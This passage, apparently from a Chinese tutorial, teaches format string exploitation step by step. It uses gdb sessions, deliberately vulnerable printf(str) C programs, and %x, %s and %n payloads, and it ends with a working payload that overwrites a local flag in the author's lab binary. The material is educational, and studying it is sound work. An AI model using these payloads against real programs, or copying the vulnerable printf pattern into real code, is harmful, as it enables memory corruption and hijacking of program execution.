虽然gcc在编译的时候提示了一个warning,但还是编译通过了,我们运行后发现多输出了一个C30000,这是个什么数据呢,我们用gdb调试一下看看吧,我们在printf()函数处下个断点,然后运行程序,程序停在了printf()函数入口处0xb7e652f0 __printf+0 push %ebx。大家可能发现了我的gdb 有点不大一样,是因为我用了一个叫做gdb-dashboard的可视化工具,个人感觉还是比较方便的,可以实时的查看寄存器、内存、反汇编等,感兴趣的同学可以去github下载安装一下试试:https://github.com/cyrus-and/gdb-dashboard

bingtangguan@ubuntu:~/Desktop/format$ gdb ./format1
GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./format1...(no debugging symbols found)...done.
>>> start
Temporary breakpoint 1 at 0x8048429
Starting program: /home/bingtangguan/Desktop/format/format1 
─── Output/messages ────────────────────────────────────────────────────────────
Temporary breakpoint 1, 0x08048429 in main ()
─── Assembly ───────────────────────────────────────────────────────────────────
0x08048425 main+10 push   %ebp
0x08048426 main+11 mov    %esp,%ebp
0x08048428 main+13 push   %ecx
0x08048429 main+14 sub    $0x24,%esp
0x0804842c main+17 movl   $0x1,-0xc(%ebp)
0x08048433 main+24 movl   $0x2,-0x10(%ebp)
0x0804843a main+31 movl   $0x3,-0x14(%ebp)
─── Expressions ────────────────────────────────────────────────────────────────
─── History ────────────────────────────────────────────────────────────────────
─── Memory ─────────────────────────────────────────────────────────────────────
─── Registers ──────────────────────────────────────────────────────────────────
eax 0x00000001      ecx 0xbffff070      edx 0xbffff094      ebx 0xb7fc1000

esp 0xbffff054      ebp 0xbffff058      esi 0x00000000      edi 0x00000000

eip 0x08048429   eflags [ PF SF IF ]     cs 0x00000073       ss 0x0000007b

ds 0x0000007b       es 0x0000007b       fs 0x00000000       gs 0x00000033

─── Source ─────────────────────────────────────────────────────────────────────
─── Stack ──────────────────────────────────────────────────────────────────────
[0] from 0x08048429 in main+14
(no arguments)
─── Threads ────────────────────────────────────────────────────────────────────
[1] id 3590 name format1 from 0x08048429 in main+14
────────────────────────────────────────────────────────────────────────────────
>>> break printf
Breakpoint 2 at 0xb7e652f0: file printf.c, line 28.
>>> r
Starting program: /home/bingtangguan/Desktop/format/format1
─── Output/messages ────────────────────────────────────────────────────────────
Breakpoint 2, __printf (format=0x8048510 "%s %d %d %d %x\n") at printf.c:28
28  printf.c: No such file or directory.
─── Assembly ───────────────────────────────────────────────────────────────────
0xb7e652f0 __printf+0 push   %ebx
0xb7e652f1 __printf+1 sub    $0x18,%esp
0xb7e652f4 __printf+4 call   0xb7f3d90b <__x86.get_pc_thunk.bx>
0xb7e652f9 __printf+9 add    $0x15bd07,%ebx
─── Expressions ────────────────────────────────────────────────────────────────
─── History ────────────────────────────────────────────────────────────────────
─── Memory ─────────────────────────────────────────────────────────────────────
─── Registers ──────────────────────────────────────────────────────────────────
eax 0xbffff03f      ecx 0xbffff070      edx 0xbffff094      ebx 0xb7fc1000

esp 0xbffff00c      ebp 0xbffff058      esi 0x00000000      edi 0x00000000

eip 0xb7e652f0   eflags [ PF ZF IF ]     cs 0x00000073       ss 0x0000007b

ds 0x0000007b       es 0x0000007b       fs 0x00000000       gs 0x00000033

─── Source ─────────────────────────────────────────────────────────────────────
Cannot access "/build/buildd/glibc-2.19/stdio-common/printf.c"
─── Stack ──────────────────────────────────────────────────────────────────────
[0] from 0xb7e652f0 in __printf+0 at printf.c:28
arg format = 0x8048510 "%s %d %d %d %x\n"
[1] from 0x08048466 in main+75
(no arguments)
─── Threads ────────────────────────────────────────────────────────────────────
[1] id 3594 name format1 from 0xb7e652f0 in __printf+0 at printf.c:28

我们查看一下此时的栈布局:

>>> x/10x $sp
0xbffff00c: 0x08048466  0x08048510  0xbffff03f  0x00000001
0xbffff01c: 0x00000002  0x00000003  0x00c30000  0x00000001
0xbffff02c: 0x080482bd  0xbffff2c4

我们已经看到了0x00c30000,根据第一节我们对栈帧布局的认识,我们可以想象一下调用printf()函数后的栈的布局是什么样的

 >>> x/20x $sp
0xbffff00c: 0x08048466  0x08048510  0xbffff03f  0x00000001
0xbffff01c: 0x00000002  0x00000003  0x00c30000  0x00000001
0xbffff02c: 0x080482bd  0xbffff2c4  0x0000002f  0x0804a000
0xbffff03c: 0x740484d2  0x00747365  0x00000003  0x00000002
0xbffff04c: 0x00000001  0xb7fc13c4  0xbffff070  0x00000000

漏洞挖掘基础之格式化字符串_https://www.tiejiang.org_漏洞播报_第4张

看了上面的图,相信大家已经很明白了吧,只要我们能够控制format的,我们就可以一直读取内存数据。

printf("%s %d %d %d %x %x %x %x %x %x %x %x\n",buf,a,b,c)
bingtangguan@ubuntu:~/Desktop/format$ ./format2
test 1 2 3 c30000 1 80482bd bf8bf301 2f 804a000 740484d2 747365

上一个例子只是告诉我们可以利用%x一直读取栈内的内存数据,可是这并不能满足我们的需求不是,我们要的是任意地址读取,当然,这也是可以的,我们通过下面的例子进行分析:

#include <stdio.h>
int main(int argc, char *argv[])
{
    char str[200];
    fgets(str,200,stdin);
    printf(str);
    return 0;
}

有了上一个小例子的经验,我们可以直接尝试去读取str[]的内容呢

gdb调试,单步运行完call 0x8048340 <fgets@plt>后输入:

AAAA%08x%08x%08x%08x%08x%08x(学过C语言的肯定知道%08x的意义,不明白的也不要紧,可以先看一下后面的特性三,我这里就不再多说了)

然后我们执行到printf()函数,观察此时的栈区,特别注意一下0x41414141(这是我们str的开始):

>>> x/10x $sp
0xbfffef70: 0xbfffef88  0x000000c8  0xb7fc1c20  0xb7e25438
0xbfffef80: 0x08048210  0x00000001  0x41414141  0x78383025
0xbfffef90: 0x78383025  0x78383025

继续执行,看我们能获得什么,我们成功的读到了AAAA:

AAAA000000c8b7fc1c20b7e25438080482100000000141414141

这时候我们需要借助printf()函数的另一个重要的格式化字符参数%s,我们可以用%s来获取指针指向的内存数据。

那么我们就可以这么构造尝试去获取0x41414141地址上的数据:

\x41\x41\x41\x41%08x%08x%08x%08x%08x%s

到现在,我们可以利用格式化字符串漏洞读取内存的内容,看起来好像也没什么用啊,就是读个数据而已,我们能不能利用这个漏洞修改内存信息(比如说修改返回地址)从而劫持程序执行流程呢,这需要看printf()函数的第二个特性。

特性二:利用%n格式符写入数据

%n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址,看下面的代码:

#include <stdio.h>
main()
{
  int num=66666666;
printf("Before: num = %d\n", num);
printf("%d%n\n", num, &num);
printf("After: num = %d\n", num);
}

可以发现我们用%n成功修改了num的值:

bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
66666666
After: num = 8

现在我们已经知道可以用构造的格式化字符串去访问栈内的数据,并且可以利用%n向内存中写入值,那我们是不是可以修改某一个函数的返回地址从而控制程序执行流程呢,到了这一步细心的同学可能已经发现了,%n的作用只是将前面打印的字符串长度写入到内存中,而我们想要写入的是一个地址,而且这个地址是很大的。这时候我们就需要用到printf()函数的第三个特性来配合完成地址的写入。

特性三:自定义打印字符串宽度

我们在上面的基础部分已经有提到关于打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。我们把上一段代码做一下修改并看一下效果:

#include <stdio.h>
main()
{
  int num=66666666;
printf("Before: num = %d\n", num);
printf("%.100d%n\n", num, &num);
printf("After: num = %d\n", num);
}

可以看到我们的num值被改为了100

bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
66666666
After: num = 100

看到这儿聪明的你肯定明白如何去覆盖一个地址了吧,比如说我们要把0x8048000这个地址写入内存,我们要做的就是把该地址对应的10进制134512640作为格式符控制宽度即可:

printf("%.134512640d%n\n", num, &num);
printf("After: num = %x\n", num);

可以看到,我们的num被成功修改为8048000

bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
中间的0省略...........
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
After: num = 8048000
bingtangguan@ubuntu:~/Desktop/format$ 

明白了这个原理之后,我们接下来尝试任意地址写作为本章的结束。知识库之前有一篇格式化字符串漏洞文章,在文章最后有一个实例,但是在我按照作者的方法进行测试的时候,发现并不能成功利用,于是我利用任意地址写的方法完成该实验。

代码参考链接:http://drops.wooyun.org/binary/7714

#include <stdio.h>
int main(void)
{ 
int flag = 0;
int *p = &flag; 
char a[100];
scanf("%s",a);
printf(a);
if(flag == 2000)
    {
            printf("good!!\n");
    }
`return 0;
`
}

首先分析一下汇编代码,下面这一段代码就是将p指向flag,并且将局部变量flag、p压栈,我们只需要利用格式化字符串漏洞覆盖掉*p指向的内存地址的内容为2000就可以了。

 80484ac:   c7 45 f0 00 00 00 00    movl   $0x0,-0x10(%ebp)
 80484b3:   8d 45 f0                lea    -0x10(%ebp),%eax
 80484b6:   89 45 f4                mov    %eax,-0xc(%ebp

下面我们要做到是找到*p指向的内存地址,也就是ebp-0x10的地址。 gdb载入程序,重点关注以上三条指令执行结果:

>>> x/10x $ebp-0x10
0xbffff048: 0x00000000  0xb7e4977d  0xb7fc13c4  0xbffff070
0xbffff058: 0x00000000  0xb7e31a83  0x08048510  0x00000000
0xbffff068: 0x00000000  0xb7e31a83

现在我们知道了,我们需要将0xbffff048这个地址的内容修改为2000。这里有一点需要特别注意: gdb调试环境里面的栈地址跟直接运行程序是不一样的,也就是说我们在直接运行程序时修改这个地址是没用的,所以我们需要结合格式化字符串漏洞读内存的功能,先泄露一个地址出来,然后我们根据泄露出来的地址计算出ebp-0x10的地址。

我们继续在gdb调试,执行get()函数后随便输入AAAAAAA,执行到printf()的时候观察栈区:

漏洞挖掘基础之格式化字符串_https://www.tiejiang.org_漏洞播报_第5张

我们如果只输入%x的话就可以读出esp+4地址上的数据,也就是0xbfffefe4,而我们需要修改的地址为0xbffff048,这两个地址的偏移为0x64。

下面我们就可以直接运行程序,并输入%x,然后获取ESP+4地址内的值:

bingtangguan@ubuntu:~/Desktop/format$ ./test
%x
bffff024

那我们需要修改的地址就是:0xbffff024+0x64=0xbffff088

最后就是要在地址0xbffff088处写入2000: \x88\xf0\xff\xbf%10x%10x%10x%1966x%n

bingtangguan@ubuntu:~/Desktop/format$ python -c "print '\x88\xf0\xff\xbf%10x%10x%10x%.1966x%n'" > 11
bingtangguan@ubuntu:~/Desktop/format$ cat 11 | ./test 
����  bffff024         0         00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003good!!
赞(0)
未经允许不得转载:工具盒子 » 漏洞挖掘基础之格式化字符串